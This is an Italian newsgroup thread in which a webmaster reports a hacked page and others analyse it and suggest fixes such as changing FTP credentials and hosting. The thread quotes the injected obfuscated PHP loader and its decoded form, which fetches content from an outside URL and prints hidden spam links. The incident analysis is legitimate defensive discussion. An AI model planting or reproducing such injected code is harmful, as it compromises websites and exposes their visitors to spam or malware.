Newsgroup: it.lavoro.professioni.webmaster
Titolo: Attacco a sito

Uno dei miei siti è stato attaccato da qualche pirata, il codice che
ho trovato nel file index.html è il seguente:
<!---->
<?php eval(gzinflate(base64_decode('jVDLcoIwFN13pj/
Rle4QVCbT6QIixKCiglzUTYc3SCJM0xbw6xttP6Dbe943+47YKI5ENp+
+p1nSpNnoxSEdorxU0qUxXw9IiTUYEg5qFIKWDLMyUVm5Vvs25p
+3TYVEFM4+1lezSTDVKWGc4pJlS4/
FV7eN1VkeE1SeCdQr7FzSoyNoVbfZYLi48i4RNhAl7iThfS592hQX7XYwH7yj5rKUoE7e6pNaCGq5ENT9LrC9HCzmegECwF2xuRn/
0gQ1BADOFmzHPDCXeEAFXVhSK7vw3w6JCnKvqazwvVtX7CfgHyy0BxtJn05Q7InVQRTOkhY7/
y9Thek53DQOcZs7dpL/im10kbtvZ//Ro91qiswAIf11qUVROOkkXku8olXPo7Bnq7u3X
+u5b3YJZ18pNg3J1Rf75u1lPH59fvoB')));
?>
Fortuna che non uso php, solo Perl.

 Fortuna che non uso php, solo Perl.
il codice che viene eseguito è questo:
$l="
http://tourreviews.asia/links2/link.php
"; if 
(extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); 
curl_close($ch);}
else{$r=implode("",file($l));} print @$r;
che recupera il contenuto della pagina dell'url e la stampa a video ...
la pagina contiene una serie di link spammosi a siti pornI :)

Fortuna che non uso php, solo Perl.
Be'... qualcuno, il codice che inietta quel troiajo lo deve pure avere
eseguito.
Potrebbe essere pero' il codice di un altro sito sulla stessa macchina
(es. tu hai 
www.oreste.org
, e non sai che 
www.pippero.com
 e' sulla tua
stessa macchina e usa una versione di Wordpress vulnerabile).
Io avvertirei rapidamente chi ti fornisce lo spazio web :-)
Leonardo
-- 
The cock doth craw, the day doth daw,
the channerin' worm doth chide:
gin we be mist oot o' oor place,
a sair pain we maun bide.

 Io avvertirei rapidamente chi ti fornisce lo spazio web :-)
e cambierei fornitore di hosting di corsa .... ché se 
pippero.com
 può 
fare quello che vuole sul server ...

 <?php eval(gzinflate(base64_decode('jVDLcoIwFN13pj/
Analizzando il codice non c'� nulla di "pericoloso"... inffatti, dopo 
una doppia decompressione e decodifica si arriva ad un piccolo 
programmino php che scarica da una url un piccolo pezzetto di codice 
html che contiene un elenco di link a siti porno... questo pezzo di html 
� reso invisibile con uno stile display:none... probabilmente era per 
qualche traffico SEO.
E' possibile pure che il risultato ritornato dal server possa cambiare 
nel tempo... oggi url domani malware...
FP
PS: non inviate sul newsgroup codice potenzialmente eseguibile ! Bastava 
cambiare una lettera e magari segnalare a parte il cambiamento effettuato...

ho trovato nel file index.html =E8 il seguente:
ï¿œ molto probabile che sei impestato e qualche malware ti ha rubato la
password FTP. Formatta.
-- 
ciao,
Marco

 password FTP. Formatta.
...e cambia la password dell'FTP.
-- 
Vide

 stessa macchina e usa una versione di Wordpress vulnerabile).
oreste.org
 non è un sito e non è sulla stessa macchina, ma uno spazio
di servizi Google fornito da quest'ultimo, una offerta gratuita
allegata all'acquisto del nome. Serve solo per esperimenti. A caval
donato...

 ...e cambia la password dell'FTP.
Per carità, è la prima cosa che ho fatto, anzi ho cambiato il server
anche se ho mantenuto lo stesso provider, con il quale mi trovo bene.

 anche se ho mantenuto lo stesso provider, con il quale mi trovo bene.
L'� tutto sbagliato, l'� tutto da rifare..
Se non hai tolto l'ospite sul tuo pc lui avr� gi� spedito le nuove 
credenziali al suo padroncino
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
www.robyt.eu

 credenziali al suo padroncino
htaccess su server, autenticazione https e blocco note di carta per
accessi? Se ci riesce, lo merita.


L'ftp va su https?


 L'ftp va su https?
Giusto, devo spiegare meglio. In genere uso tinymce per modificare le
pagine, il trasferimento dei file lo effettuo via pannello di
controllo. Non uso collegamenti ftp sul sito dove ho ricevuto
l'attacco. Secondo me si è trattato di attacco generale al provider
non al sito specifico.


Possibile, io per ora di codesti attacchi (ovvero modifica file tramite ftp) 
ne ho visti ed erano tutti con credenziali rubate


non al sito specifico.
Allora è effettivamente probabile.
-- 
ciao,
Marco